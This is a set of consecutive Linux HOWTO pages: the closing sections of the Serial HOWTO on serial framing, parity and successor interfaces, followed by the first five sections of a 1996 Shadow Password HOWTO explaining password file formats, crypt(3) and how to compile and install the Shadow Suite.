A "mark" is a 1-bit (or logic 1) and a "space" is a 0-bit (or logic 0). For mark parity, the parity bit is always a one-bit. For space parity it's always a zero-bit. Mark or space parity (also known as "sticky parity") only wastes bandwidth and should be avoided if feasible. The stty command can't set sticky parity but it's supported by serial hardware and can be dealt with by programming in C. "No parity" means that no parity bit is added. For terminals that don't permit 9 bit bytes, "no parity" must be selected when using 8 bit character sets since there is no room for a parity bit.

19.4 Forming a Byte (Framing)

In serial transmission of bytes via EIA-232 ports, the low-order bit is always sent first. Serial ports on PC's use asynchronous communication where there is a start bit and a stop bit to mark the beginning and end of a byte. This is called framing and the framed byte is sometimes called a frame. As a result a total of 9, 10, or 11 bits are sent per byte with 10 being the most common. 8-N-1 means 8 data bits, No parity, 1 stop bit. This adds up to 10 bits total when one counts the start bit. One stop bit is almost universally used. At 110 bits/sec (and sometimes at 300 bits/sec) 2 stop bits were once used but today the 2nd stop bit is used only in very unusual situations (or by mistake since it still works OK that way but wastes bandwidth).

Don't confuse this type of framing with the framing used for a packet of bytes on a network. The serial port just frames every byte. For a network many bytes are framed into a packet (sometimes called a frame). For a network frame, instead of a start bit, there is a sequence of bytes called a header. On a network that uses serial ports (with modems), a report of a frame error usually refers to a multi-byte frame and not the serial port frame of a single byte.

19.5 How "Asynchronous" is Synchronized

The EIA-232 serial port as implemented on PC is asynchronous which in effect means that there is no "clock" signal sent with "ticks" to mark when each bit is sent.. There are only two states of the transmit (or receive) wire: mark (-12 V) or space (+12 V). There is no state of 0 V. Thus a sequence of 1-bits is transmitted by just a steady -12 V with no markers of any kind between bits. For the receiver to detect individual bits it must always have a clock signal which is in synchronization with the transmitter clock. Such a clock would generate a "tick" in synchronization with each transmitted (or received) bit.

For asynchronous transmission, synchronization is achieved by framing each byte with a start bit and a stop bit (done by hardware). The receiver listens on the negative line for a positive start bit and when it detects one it starts its clock ticking. It uses this clock tick to time the reading of the next 7, 8 or 9 bits. (It actually is a little more complex than this since several samples of a bit are normally taken and this requires additional timing ticks.) Then the stop bit is read, the clock stops and the receiver waits for the next start bit. Thus async is actually synchronized during the reception of a single byte but there is no synchronization between one byte and the next byte.


Serial HOWTO: Other Serial Devices (not async EIA-232)

 Next Previous Contents

20. Other Serial Devices (not async EIA-232)

20.1 Successors to EIA-232

A number of EIA standards have been established for higher speeds and longer distances using twisted-pair (balanced) technology. Balanced transmission can sometimes be a hundred times faster than unbalanced EIA-232. For a given speed, the distance (maximum cable length) may be many times longer with twisted pair. But PC-s keep being made with the "obsolete" EIA-232 since it works OK with modems and mice since the cable length is short. If this appears in the latest version of this HOWTO, please let me know if any of the non-EIA-232 listed below are supported by Linux.

20.2 EIA-422-A (balanced) and EIA-423-A (unbalanced)

EIA-423 is just like the unbalanced EIA-232 except that the voltage is only 5 volts. Since this falls within EIA-232 specs it can be connected to a EIA-232 port. Its specs call for somewhat higher speeds than the EIA-232 (but this may be of little help on a long run where it's the unbalance that causes interference). Since EIA-423 is not much of an improvement over EIA-232, it is not popular except on old Mac computers.

EIA-422 is twisted pair (known as "balanced" or "differential) and is (per specs) exactly 100 times as fast as EIA-423 (which in turn is somewhat faster than EIA-232). Apple's Mac computer prior to mid-1998 with its EIA-232/EIA-422 Port uses it. The Mac used a small round "mini-DIN-8" connector. It also provided conventional EIA-232 but at only at 5 volts (which is still legal EIA-232). To make it work like at EIA-232 one must use a special cable which (signal) grounds RxD+ (one side of a balanced pair) and use RxD- as the receive pin. While TxD- is used as the transmit pin, for some reason TxD+ should not be grounded. See Macintosh Communications FAQ. However, due to the fact that Macs (and upgrades for them) cost more than PC's, they are not widely as host computers for Linux.

20.3 EIA-485

This is like EIA-422 (balanced = differential). It is half-duplex. It's not just point-to-point but is like ethernet or the USB since all devices (nodes) on it share the same "bus". It may be used for a multidrop LAN (up to 32 nodes or more). Since many nodes share the same twisted pair the need to use the electrical tri-state mode where besides the 0 and 1 binary states there is also an open circuit state to permit other nodes to uses the twisted pair line. Instead of a transmitter keeping a 1-state voltage on the line during line idle, the line is open circuited and all nodes just listen (receive mode).

The most common architecture is master/slave. The master polls the slaves to see if they have anything to send. A slave can only transmit just after it's been polled.

There is an alternative implementation where two pair of wires are used for sending data. One pair is only for the Master to send to the Slaves. Since no one transmits on this line except the master, there is no need for it to be tri-state. Thus the Master may just be EIA-232 but the slaves must still be EIA-485. See http://www.hw.cz/english/docs/rs485/rs485.html for more details.

20.4 EIA-530

EIA-530-A (balanced but can also be used unbalanced) at 2Mbits/s (balanced) was intended to be a replacement for EIA-232 but few have been installed. It uses the same 25-pin connector as EIA-232.

20.5 EIA-612/613

The High Speed Serial Interface ( HSSI = EIA-612/613) uses a 50-pin connector and goes up to about 50 Mbits/s but the distance is limited to only several meters. For Linux there are PCI cards supporting HSSI. The companies that sell the cards often provide (or point you to) a Linux driver. A howto or the like is needed for this topic.

20.6 The Universal Serial Bus (USB)

The Universal Serial Bus (USB) is being built into PCI chips. Newer PC's have them. It is 12 Mbps (with 200 Mbps planned) over a twisted pair with a 4-pin connector (2 wires are power supply). It also is limited to short distances of at most 5 meters (depends on configuration). Linux supports the bus, although not all devices that can plug into the bus are supported.

It is synchronous and transmits in special packets like a network. Just like a network, it can have several devices attached to it. Each device on it gets a time-slice of exclusive use for a short time. A device can also be guaranteed the use of the bus at fixed intervals. One device can monopolize it if no other device wants to use it. It's not simple to describe in detail.

For documentation, see the USB directory in /usr/share/doc/kernel ... It would be nice to have a HOWTO on the USB. See also http://www.linux-usb.org and/or http://.www.qbik.ch/usb/.

20.7 Firewire

Firewire (IEEE 1394) is something like the USB only faster (800 Mbps is planned). The protocol on the bus is claimed to be more efficient than USB's. It uses two twisted pair for data plus two power conductors (6 conductors in all). A variants uses only 4 conductors. You may compile firewire support into the Linux kernel. Like USB, it's also limited to short distances.

20.8 MIDI

Sound cards often have a 15-pin MIDI connector. There are also such connectors not associated with a sound card. They are for connecting a musical keyboard to a PC so that you can create musical recordings. You could also connect a MIDI sound system. The MIDI standard uses 31250 baud (1M/32) which is not available on an ordinary serial port. Some MIDI devices are designed so that they can be connected directly to an ordinary serial port.

Besides the 15-pin connector, many use a 5-pin DIN connector. The /dev/midi00 is for MIDI.

20.9 Synchronization & Synchronous

Beside the asynchronous EIA-232 (and others) there are a number of synchronous serial port standards. In fact EIA-232 includes synchronous specifications but they aren't normally implemented for serial ports on PC's. But first we'll explain what a synchronous means.

Defining Asynchronous vs Synchronous

Asynchronous (async) means "not synchronous". In practice, an async signal is what the async serial port sends and receives which is a stream of bytes with each byte framed by a start and stop bit. Synchronous (sync) is most everything else. But this doesn't explain the basic concepts.

In theory, synchronous means that bytes are sent out at a constant rate one after another in step with a clock signal tick. There is often a separate wire or channel for sending the clock signal. The clock signal might also be embedded in the transmitted bytes. Asynchronous bytes may be sent out erratically with various time intervals between bytes (like someone typing characters at a keyboard).

When a file is being sent thru the async serial port, the flow of bytes will likely be at the speed of the port (say 115.2k) which is a constant rate. This flow may frequently start and stop due to flow control. Is this sync or async? Ignoring the flow control stops, it might seem like sync since it's a steady flow. But it's not because there is no clock signal and the bytes could have been sent erratically since they are framed by start/stop bits.

Another case is where data bytes (without any start-stop bits) are put into packets with possible erratic spacing between one packet and the next. This is called sync since the bytes within each packet are transmitted synchronously.

Synchronous Communication

Did you ever wonder what all the unused pins are for on a 25-pin connector for the serial port? Most of them are for use in synchronous communication which is seldom implemented in chips for PC's. There are pins for sync timing signals as well as for a sync reverse channel. The EIA-232 spec provides for both sync and async but PC's use a UART (Universal Asynchronous Receiver/Transmitter) chip such as a 16450, 16550A, or 16650 and can't deal with sync. For sync one needs a USRT chip or the equivalent where the "S" stands for Synchronous. A USART chip supports both synchronous and asynchronous. Since sync is a niche market, a sync serial port is likely to be quite expensive.

SCC stands for "Serial Communication Controller" or "Serial Controller Chip". It's likely old terminology and since it doesn't say "sync" or "async" it might support both.

Besides the sync part of the EIA-232, there are various other EIA synchronous standards. For EIA-232, 3 pins of the connector are reserved for clock (or timing) signals. Sometimes it's a modem's task to generate some timing signals making it impossible to use synchronous communications without a synchronous modem (or without a device called a "synchronous modem eliminator" which provides the timing signals).

Although few serial ports are sync, synchronous communication does often take place over telephone lines using modems which use V.42 error correction. This strips off the start/stop bits and puts the data bytes in packets resulting in synchronous operation over the phone line.


Serial HOWTO: Other Sources of Information

 Next Previous Contents

21. Other Sources of Information

21.1 Books

  1. Axleson, Jan: Serial Port Complete, Lakeview Research, Madison, WI, 1998.
  2. Black, Uyless D.: Physical Layer Interfaces & Protocols, IEEE Computer Society Press, Los Alamitos, CA, 1996.
  3. Campbell, Joe: The RS-232 Solution, 2nd ed., Sybex, 1982.
  4. Campbell, Joe: C Programmer's Guide to Serial Communications, 2nd ed., Unknown Publisher, 1993.
  5. Levine, Donald: POSIX Programmer's Guide, O'Reilly, 1991.
  6. Nelson, Mark: Serial Communications Developer's Guide, 2nd ed., Hungry Minds, 2000.
  7. Putnam, Byron W.: RS-232 Simplified, Prentice Hall, 1987.
  8. Seyer, Martin D.: RS-232 Made Easy, 2nd ed., Prentice Hall, 1991.
  9. Stevens, Richard W.: Advanced Programming in the UNIX Environment, (ISBN 0-201-56317-7; Addison-Wesley)
  10. Tischert, Michael & Bruno Jennrich: PC Intern, Abacus 1996. Chapter 7: Serial Ports

Notes re books:

  1. "... Complete" has hardware details (including register) but the programming aspect is Window oriented.
  2. "Physical Layer ..." covers much more than just EIA-232.

21.2 Serial Software

It's best to use the nearest mirror site, but here's the main sites:
Serial Software for Linux software for the serial ports including getty and port monitors.
Serial Communications for communication programs.

  • irqtune will give serial port interrupts higher priority to improve performance. Using hdparm for hard-disk tuning may help some more.
  • modemstat and statserial show the current state of various modem control lines. See Serial Monitoring/Diagnostics

21.3 Related Linux Documents

  • man pages for: setserial and stty
  • Low-Level Terminal Interface part of "GNU C Library Reference manual" (in libc (or glibc) docs package). It covers the detailed meaning of "stty" commands, etc.
  • Modem-HOWTO: modems on the serial port
  • PPP-HOWTO: help with PPP (using a modem on the serial port)
  • Printing-HOWTO: for setting up a serial printer
  • Serial-Programming-HOWTO: for some aspects of serial-port programming
  • Text-Terminal-HOWTO: how they work and how to install and configure
  • UPS-HOWTO: setting up UPS sensors connected to your serial port
  • UUCP-HOWTO: for information on setting up UUCP

21.4 Usenet newsgroups:

  • comp.os.linux.answers
  • comp.os.linux.hardware: Hardware compatibility with the Linux operating system.
  • comp.os.linux.networking: Networking and communications under Linux.
  • comp.os.linux.setup: Linux installation and system administration.

21.5 Serial Mailing List

The Linux serial mailing list. To join, send email to majordomo@vger.rutgers.edu, with ``subscribe linux-serial'' in the message body. If you send ``help'' in the message body, you get a help message. The server also serves many other Linux lists. Send the ``lists'' command for a list of mailing lists.

21.6 Internet

  • Linux Serial Driver home page Includes info about PCI support.
  • Serial Suite by Vern Hoxie is a collection of blurbs about the care and feeding of the Linux serial port plus some simple programs. He also has a Serial-Programming-HOWTO (not yet available from the Linux Documentation Project). Your browser should automatically log you in but if you do it manually login as "anonymous" and use your full e-mail address as the password.
  • A white paper discussing serial communications and multiport serial boards was available from Cyclades at http://www.cyclades.com.


Serial HOWTO: Appendix: Obsolete Hardware (prior to 1990) Info

 Next Previous Contents

22. Appendix: Obsolete Hardware (prior to 1990) Info

22.1 Replacing obsolete UARTS

Many 486 PCs (old) and all Pentiums (or the like) should have modern 16550As (usually called just 16550's) with FIFOs. If you have something really old the chip may unplug so that you may be able to upgrade by buying a 16550A chip and replacing your existing 16450 UART. If the functionality has been built into another type of chip, you are out of luck. If the UART is socketed, then upgrading is easy (if you can find a replacement). The new and old are pin-to-pin compatible. It may be more feasible to just buy a new serial card on the Internet (few retail stores stock them today) or find a used one.

END OF Serial-HOWTO


Linux Shadow Password HOWTO

Michael H. Jackson, mhjack@tscnet.com

v1.3, 3 April 1996

This document aims to describe how to obtain, install, and configure the Linux password Shadow Suite. It also discusses obtaining, and re]installing other software and network daemons that require access to user passwords. This other software is not actually part of the Shadow Suite, but these programs will need to be recompiled to support the Shadow Suite. This document also contains a programming example for adding shadow support to a program. Answers to some of the more frequently asked questions are included near the end of this document.

1. Introduction.

  • 1.1 Changes from the previous release.
  • 1.2 New versions of this document.
  • 1.3 Feedback.

2. Why shadow your passwd file?

  • 2.1 Why you might NOT want to shadow your passwd file.
  • 2.2 Format of the /etc/passwd file
  • 2.3 Format of the shadow file
  • 2.4 Review of crypt(3).

3. Getting the Shadow Suite.

  • 3.1 History of the Shadow Suite for Linux
  • 3.2 Where to get the Shadow Suite.
  • 3.3 What is included with the Shadow Suite.

4. Compiling the programs.

  • 4.1 Unpacking the archive.
  • 4.2 Configuring with the config.h file
  • 4.3 Making backup copies of your original programs.
  • 4.4 Running make

5. Installing

  • 5.1 Have a boot disk handy in case you break anything.
  • 5.2 Removing duplicate man pages
  • 5.3 Running make install
  • 5.4 Running pwconv
  • 5.5 Renaming npasswd and nshadow

6. Other programs you may need to upgrade or patch

  • 6.1 Slackware adduser program
  • 6.2 The wu_ftpd Server
  • 6.3 Standard ftpd
  • 6.4 pop3d (Post Office Protocol 3)
  • 6.5 xlock
  • 6.6 xdm
  • 6.7 sudo
  • 6.8 imapd (E-Mail pine package])
  • 6.9 pppd (Point-to-Point Protocol Server)

    7. Putting the Shadow Suite to use.

    • 7.1 Adding, Modifying, and deleting users
    • 7.2 The passwd command and passwd aging.
    • 7.3 The login.defs file.
    • 7.4 Group passwords.
    • 7.5 Consistency checking programs
    • 7.6 Dial-up passwords.

      8. Adding shadow support to a C program

      • 8.1 Header files
      • 8.2 libshadow.a library
      • 8.3 Shadow Structure
      • 8.4 Shadow Functions
      • 8.5 Example

        9. Frequently Asked Questions.

        10. Copyright Message.

        11. Miscellaneous and Acknowledgments.


Linux Shadow Password HOWTO: Introduction.

 Next Previous Contents

1. Introduction.

This is the Linux Shadow-Password-HOWTO. This document describes why and how to add shadow password support on a Linux system. Some examples of how to use some of the Shadow Suite's features is also included.

When installing the Shadow Suite and when using many of the utility programs, you must be logged in as root. When installing the Shadow Suite you will be making changes to system software, and it is highly recommended that you make backup copies of programs as indicated. I also recommend that you read and understand all the instructions before you begin.

1.1 Changes from the previous release.

Additions:
        Added a sub-section on why you might not want to install shadow
        Added a sub-section on updating the xdm program
        Added a section on how to put Shadow Suite features to work
        Added a section containing frequently asked questions

Corrections/Updates:
        Corrected html references on Sunsite
        Corrected section on wu-ftp to reflect adding -lshadow to the Makefile
        Corrected minor spelling and verbiage errors
        Changed section on wu-ftpd to support ELF
        Updated to reflect security problems in various login programs
        Updated to recommend the Linux Shadow Suite by Marek Michalkiewicz

1.2 New versions of this document.

The latest released version of this document can always be retrieved by anonymous FTP from:

sunsite.unc.edu

/pub/Linux/docs/HOWTO/Shadow-Password-HOWTO
or:
/pub/Linux/docs/HOWTO/other-formats/Shadow-Password-HOWTO{-html.tar,ps,dvi}.gz

or via the World Wide Web from the Linux Documentation Project Web Server, at page: Shadow-Password-HOWTO or directly from me, <mhjack@tscnet.com>. It will also be posted to the newsgroup: comp.os.linux.answers

This document is now packaged with the Shadow-YYDDMM packages.

1.3 Feedback.

Please send any comments, updates, or suggestions to me: Michael H. Jackson <mhjack@tscnet.com> The sooner I get feedback, the sooner I can update and correct this document. If you find any problems with it, please mail me directly as I very rarely stay up-to-date on the newsgroups.


Linux Shadow Password HOWTO: Why shadow your passwd file?

 Next Previous Contents

2. Why shadow your passwd file?

By default, most current Linux distributions do not contain the Shadow Suite installed. This includes Slackware 2.3, Slackware 3.0, and other popular distributions. One of the reasons for this is that the copyright notices in the original Shadow Suite were not clear on redistribution if a fee was charged. Linux uses a GNU Copyright (sometimes refereed to as a Copyleft) that allows people to package it into a convenient package (like a CD-ROM distribution) and charge a fee for it.

The current maintainer of the Shadow Suite, Marek Michalkiewicz <marekm@i17linuxb.ists.pwr.wroc.pl> received the source code from the original author under a BSD style copyright that allowed redistribution. Now that the copyright issues are resolved, it is expected that future distributions will contain password shadowing by default. Until then, you will need to install it yourself.

If you installed your distribution from a CD-ROM, you may find that, even though the distribution did not have the Shadow Suite installed, some of the files you need to install the Shadow Suite may be on the CD-ROM.

However, Shadow Suite versions 3.3.1, 3.3.1-2, and shadow-mk all have security problems with their login program and several other suid root programs that came with them, and should no longer be used.

All of the necessary files may be obtained via anonymous FTP or through the World Wide Web.

On a Linux system without the Shadow Suite installed, user information including passwords is stored in the /etc/passwd file. The password is stored in an encrypted format. If you ask a cryptography expert, however, he or she will tell you that the password is actually in an encoded rather than encrypted format because when using crypt(3), the text is set to null and the password is the key. Therefore, from here on, I will use the term encoded in this document.

The algorithm used to encode the password field is technically referred to as a one way hash function. This is an algorithm that is easy to compute in one direction, but very difficult to calculate in the reverse direction. More about the actual algorithm used can be found in section 2.4 or your crypt(3) manual page.

When a user picks or is assigned a password, it is encoded with a randomly generated value called the salt. This means that any particular password could be stored in 4096 different ways. The salt value is then stored with the encoded password.

When a user logs in and supplies a password, the salt is first retrieved from the stored encoded password. Then the supplied password is encoded with the salt value, and then compared with the encoded password. If there is a match, then the user is authenticated.

It is computationally difficult (but not impossible) to take a randomly encoded password and recover the original password. However, on any system with more than just a few users, at least some of the passwords will be common words (or simple variations of common words).

System crackers know all this, and will simply encrypt a dictionary of words and common passwords using all possible 4096 salt values. Then they will compare the encoded passwords in your /etc/passwd file with their database. Once they have found a match, they have the password for another account. This is referred to as a dictionary attack, and is one of the most common methods for gaining or expanding unauthorized access to a system.

If you think about it, an 8 character password encodes to 4096 * 13 character strings. So a dictionary of say 400,000 common words, names, passwords, and simple variations would easily fit on a 4GB hard drive. The attacker need only sort them, and then check for matches. Since a 4GB hard drive can be had for under $1000.00, this is well within the means of most system crackers.

Also, if a cracker obtains your /etc/passwd file first, they only need to encode the dictionary with the salt values actually contained in your /etc/passwd file. This method is usable by your average teenager with a couple of hundred spare Megabytes and a 486 class computer.

Even without lots of drive space, utilities like crack(1) can usually break at least a couple of passwords on a system with enough users (assuming the users of the system are allowed to pick their own passwords).

The /etc/passwd file also contains information like user ID's and group ID's that are used by many system programs. Therefore, the /etc/passwd file must remain world readable. If you were to change the /etc/passwd file so that nobody can read it, the first thing that you would notice is that the ls -l command now displays user ID's instead of names!

The Shadow Suite solves the problem by relocating the passwords to another file (usually /etc/shadow). The /etc/shadow file is set so that it cannot be read by just anyone. Only root will be able to read and write to the /etc/shadow file. Some programs (like xlock) don't need to be able to change passwords, they only need to be able to verify them. These programs can either be run suid root or you can set up a group shadow that is allowed read only access to the /etc/shadow file. Then the program can be run sgid shadow.

By moving the passwords to the /etc/shadow file, we are effectively keeping the attacker from having access to the encoded passwords with which to perform a dictionary attack.

Additionally, the Shadow Suite adds lots of other nice features:

  • A configuration file to set login defaults (/etc/login.defs)
  • Utilities for adding, modifying, and deleting user accounts and groups
  • Password aging and expiration
  • Account expiration and locking
  • Shadowed group passwords (optional)
  • Double length passwords (16 character passwords) NOT RECOMMENDED]
  • Better control over user's password selection
  • Dial-up passwords
  • Secondary authentication programs [NOT RECOMMENDED]

Installing the Shadow Suite contributes toward a more secure system, but there are many other things that can also be done to improve the security of a Linux system, and there will eventually be a series of Linux Security HOWTO's that will discuss other security measures and related issues.

For current information on other Linux security issues, including warnings on known vulnerabilities see the Linux Security home page.

2.1 Why you might NOT want to shadow your passwd file.

There are a few circumstances and configurations in which installing the Shadow Suite would NOT be a good idea:

  • The machine does not contain user accounts.
  • Your machine is running on a LAN and is using NIS (Network Information Services) to get or supply user names and passwords to other machines on the network. (This can actually be done, but is beyond the scope of this document, and really won't increase security much anyway)
  • Your machine is being used by terminal servers to verify users via NFS (Network File System), NIS, or some other method.
  • Your machine runs other software that validates users, and there is no shadow version available, and you don't have the source code.

2.2 Format of the /etc/passwd file

A non-shadowed /etc/passwd file has the following format:

username:passwd:UID:GID:full_name:directory:shell
Where:
username

The user (login) name

passwd

The encoded password

UID

Numerical user ID

GID

Numerical default group ID

full_name

The user's full name - Actually this field is called the GECOS (General Electric Comprehensive Operating System) field and can store information other than just the full name. The Shadow commands and manual pages refer to this field as the comment field.

directory

User's home directory (Full pathname)

shell

User's login shell (Full Pathname)

For example:
username:Npge08pfz4wuk:503:100:Full Name:/home/username:/bin/sh
Where Np is the salt and ge08pfz4wuk is the encoded password. The encoded salt/password could just as easily have been kbeMVnZM0oL7I and the two are exactly the same password. There are 4096 possible encodings for the same password. (The example password in this case is 'password', a really bad password).

Once the shadow suite is installed, the /etc/passwd file would instead contain:

username:x:503:100:Full Name:/home/username:/bin/sh
The x in the second field in this case is now just a place holder. The format of the /etc/passwd file really didn't change, it just no longer contains the encoded password. This means that any program that reads the /etc/passwd file but does not actually need to verify passwords will still operate correctly.

The passwords are now relocated to the shadow file (usually /etc/shadow file).

2.3 Format of the shadow file

The /etc/shadow file contains the following information:

username:passwd:last:may:must:warn:expire:disable:reserved
Where:
username

The User Name

passwd

The Encoded password

last

Days since Jan 1, 1970 that password was last changed

may

Days before password may be changed

must

Days after which password must be changed

warn

Days before password is to expire that user is warned

expire

Days after password expires that account is disabled

disable

Days since Jan 1, 1970 that account is disabled

reserved

A reserved field

The previous example might then be:
username:Npge08pfz4wuk:9479:0:10000::::

2.4 Review of crypt(3).

From the crypt(3) manual page:

"crypt is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search.

[The] key is a user's typed password. [The encoded string is all NULLs]

[The] salt is a two-character string chosen from the set [a-zA-Z0-9./]. This string is used to perturb the algorithm in one of 4096 different ways.

By taking the lowest 7 bit[s] of each character of the key, a 56-bit key is obtained. This 56-bit key is used to encrypt repeatedly a constant string (usually a string consisting of all zeros). The returned value points to the encrypted password, a series of 13 printable ASCII characters (the first two characters represent the salt itself). The return value points to static data whose content is overwritten by each call.

Warning: The key space consists of 2**56 equal 7.2e16 possible values. Exhaustive searches of this key space are possible using massively parallel computers. Software, such as crack(1), is available which will search the portion of this key space that is generally used by humans for passwords. Hence, password selection should, at minimum, avoid common words and names. The use of a passwd(1) program that checks for crackable passwords during the selection process is recommended.

The DES algorithm itself has a few quirks which make the use of the crypt(3) interface a very poor choice for anything other than password authentication. If you are planning on using the crypt(3) interface for a cryptography project, don't do it: get a good book on encryption and one of the widely available DES libraries."

Most Shadow Suites contain code for doubling the length of the password to 16 characters. Experts in des recommend against this, as the encoding is simply applied first to the left half and then to the right half of the longer password. Because of the way crypt works, this may make for a less secure encoded password then if double length passwords were not used in the first place. Additionally, it is less likely that a user will be able to remember a 16 character password.

There is development work under way that would allow the authentication algorithm to be replaced with something more secure and with support for longer passwords (specifically the MD5 algorithm) and retain compatibility with the crypt method.

If you are looking for a good book on encryption, I recommend:

        "Applied Cryptography: Protocols, Algorithms, and Source Code in C"
        by Bruce Schneier <schneier@chinet.com>
        ISBN: 0-471-59756-2


Linux Shadow Password HOWTO: Getting the Shadow Suite.

 Next Previous Contents

3. Getting the Shadow Suite.

3.1 History of the Shadow Suite for Linux

DO NOT USE THE PACKAGES IN THIS SECTION, THEY HAVE SECURITY PROBLEMS

The original Shadow Suite was written by John F. Haugh II.

There are several versions that have been used on Linux systems:

  • shadow-3.3.1 is the original.
  • shadow-3.3.1-2 is Linux specific patch made by Florian La Roche <flla@stud.uni-sb.de> and contains some further enhancements.
  • shadow-mk was specifically packaged for Linux.

The shadow-mk package contains the shadow-3.3.1 package distributed by John F. Haugh II with the shadow-3.3.1-2 patch installed, a few fixes made by Mohan Kokal <magnus@texas.net> that make installation a lot easier, a patch by Joseph R.M. Zbiciak for login1.c (login.secure) that eliminates the -f, -h security holes in /bin/login, and some other miscellaneous patches.

The shadow.mk package was the previously recommended package, but should be replaced due to a security problem with the login program.

There are security problems with Shadow versions 3.3.1, 3.3.1-2, and shadow-mk involving the login program. This login bug involves not checking the length of a login name. This causes the buffer to overflow causing crashes or worse. It has been rumored that this buffer overflow can allow someone with an account on the system to use this bug and the shared libraries to gain root access. I won't discuss exactly how this is possible because there are a lot of Linux systems that are affected, but systems with these Shadow Suites installed, and most pre-ELF distributions without the Shadow Suite are vulnerable!

For more information on this and other Linux security issues, see the Linux Security home page (Shared Libraries and login Program Vulnerability)

3.2 Where to get the Shadow Suite.

The only recommended Shadow Suite is still in BETA testing, however the latest versions are safe in a production environment and don't contain a vulnerable login program.

The package uses the following naming convention:

shadow-YYMMDD.tar.gz
where YYMMDD is the issue date of the Suite.

This version will eventually be Version 3.3.3 when it is released from Beta testing, and is maintained by Marek Michalkiewicz <marekm@i17linuxb.ists.pwr.wroc.pl>. It's available as: shadow-current.tar.gz.

The following mirror sites have also been established:

  • ftp://ftp.icm.edu.pl/pub/Linux/shadow/shadow-current.tar.gz
  • ftp://iguana.hut.fi/pub/linux/shadow/shadow-current.tar.gz
  • ftp://ftp.cin.net/usr/ggallag/shadow/shadow-current.tar.gz
  • ftp://ftp.netural.com/pub/linux/shadow/shadow-current.tar.gz

You should use the currently available version.

You should NOT use a version older than shadow-960129 as they also have the login security problem discussed above.

When this document refers to the Shadow Suite I am referring to the this package. It is assumed that this is the package that you are using.

For reference, I used shadow-960129 to make these installation instructions.

If you were previously using shadow-mk, you should upgrade to this version and rebuild everything that you originally compiled.

3.3 What is included with the Shadow Suite.

The Shadow Suite contains replacement programs for:

su, login, passwd, newgrp, chfn, chsh, and id

The package also contains the new programs:

chage, newusers, dpasswd, gpasswd, useradd, userdel, usermod, groupadd, groupdel, groupmod, groups, pwck, grpck, lastlog, pwconv, and pwunconv

Additionally, the library: libshadow.a is included for writing and/or compiling programs that need to access user passwords.

Also, manual pages for the programs are also included.

There is also a configuration file for the login program which will be installed as /etc/login.defs.


Linux Shadow Password HOWTO: Compiling the programs.

 Next Previous Contents

4. Compiling the programs.

4.1 Unpacking the archive.

The first step after retrieving the package is unpacking it. The package is in the tar (tape archive) format and compressed using gzip, so first move it to /usr/src, then type:

tar -xzvf shadow-current.tar.gz

This will unpack it into the directory: /usr/src/shadow-YYMMDD

4.2 Configuring with the config.h file

The first thing that you need to do is to copy over the Makefile and the config.h file:

cd /usr/src/shadow-YYMMDD
cp Makefile.linux Makefile
cp config.h.linux config.h

You should then take a look at the config.h file. This file contains definitions for some of the configuration options. If you are using the recommended package, I recommend that you disable group shadow support for your first time around.

By default shadowed group passwords are enabled. To disable these edit the config.h file, and change the #define SHADOWGRP to #undef SHADOWGRP. I recommend that you disable them to start with, and then if you really want group passwords and group administrators that you enable it later and recompile. If you leave it enabled, you must create the file /etc/gshadow.

Enabling the long passwords option is NOT recommended as discussed above.

Do NOT change the setting: #undef AUTOSHADOW

The AUTOSHADOW option was originally designed so that programs that were shadow ignorant would still function. This sounds good in theory, but does not work correctly. If you enable this option, and the program runs as root, it may call getpwnam() as root, and later write the modified entry back to the /etc/passwd file (with the no-longer-shadowed password). Such programs include chfn and chsh. (You can't get around this by swapping real and effective uid before calling getpwnam() because root may use chfn and chsh too.)

The same warning is also valid if you are building libc, it has a SHADOW_COMPAT option which does the same thing. It should NOT be used! If you start getting encoded passwords back in your /etc/passwd file, this is the problem.

If you are using a libc version prior to 4.6.27, you will need to make a couple more changes to config.h and the Makefile. To config.h edit and change:

#define HAVE_BASENAME
to:
#undef HAVE_BASENAME
And then in the Makefile, change:

SOBJS = smain.o env.o entry.o susetup.o shell.o \
        sub.o mail.o motd.o sulog.o age.o tz.o hushed.o

SSRCS = smain.c env.c entry.c setup.c shell.c \
        pwent.c sub.c mail.c motd.c sulog.c shadow.c age.c pwpack.c rad64.c \
        tz.c hushed.c

SOBJS = smain.o env.o entry.o susetup.o shell.o \
        sub.o mail.o motd.o sulog.o age.o tz.o hushed.o basename.o

SSRCS = smain.c env.c entry.c setup.c shell.c \
        pwent.c sub.c mail.c motd.c sulog.c shadow.c age.c pwpack.c rad64.c \
        tz.c hushed.c basename.c
These changes add the code contained in basename.c which is contained in libc 4.6.27 and later.

4.3 Making backup copies of your original programs.

It would also be a good idea to track down and make backup copies of the programs that the shadow suite will replace. On a Slackware 3.0 system these are:

  • /bin/su
  • /bin/login
  • /usr/bin/passwd
  • /usr/bin/newgrp
  • /usr/bin/chfn
  • /usr/bin/chsh
  • /usr/bin/id

The BETA package has a save target in the Makefile, but it's commented out because different distributions place the programs in different places.

You should also make a backup copy of your /etc/passwd file, but be careful to name it something else if you place it in the same directory so you don't overwrite the passwd command.

4.4 Running make

You need to be logged as root to do most of the installation.

Run make to compile the executables in the package:

make all

You may see the warning: rcsid defined but not used. This is fine, it just happens because the author is using a version control package.


Linux Shadow Password HOWTO: Installing

 Next Previous Contents

5. Installing

5.1 Have a boot disk handy in case you break anything.

If something goes terribly wrong, it would be handy to have a boot disk. If you have a boot/root combination from your installation, that will work, otherwise see the Bootdisk-HOWTO, which describes how to make a bootable disk.

5.2 Removing duplicate man pages

You should also move the manual pages that are about to be replaced. Even if you are brave enough install the Shadow Suite without making backups, you will still want to remove the old manual pages. The new manual pages won't normally overwrite the old ones because the old ones are probably compressed.

You can use a combination of: man -aW command and locate command to locate the manual pages that need to be (re)moved. It's generally easier to figure out which are the older pages before you run make install.

If you are using the Slackware 3.0 distribution, then the manual pages you want to remove are:

  • /usr/man/man1/chfn.1.gz
  • /usr/man/man1/chsh.1.gz
  • /usr/man/man1/id.1.gz
  • /usr/man/man1/login.1.gz
  • /usr/man/man1/passwd.1.gz
  • /usr/man/man1/su.1.gz
  • /usr/man/man5/passwd.5.gz

There may also be man pages of the same name in the /var/man/cat[1-9] subdirectories that should also be deleted.

5.3 Running make install

You are now ready to type: (do this as root)

make install

This will install the new and replacement programs and fix-up the file permissions. It will also install the man pages.

This also takes care of installing the Shadow Suite include files in the correct places in /usr/include/shadow.

Using the BETA package you must manually copy the file login.defs to the /etc subdirectory and make sure that only root can make changes to it.

cp login.defs /etc
chmod 700 /etc/login.defs

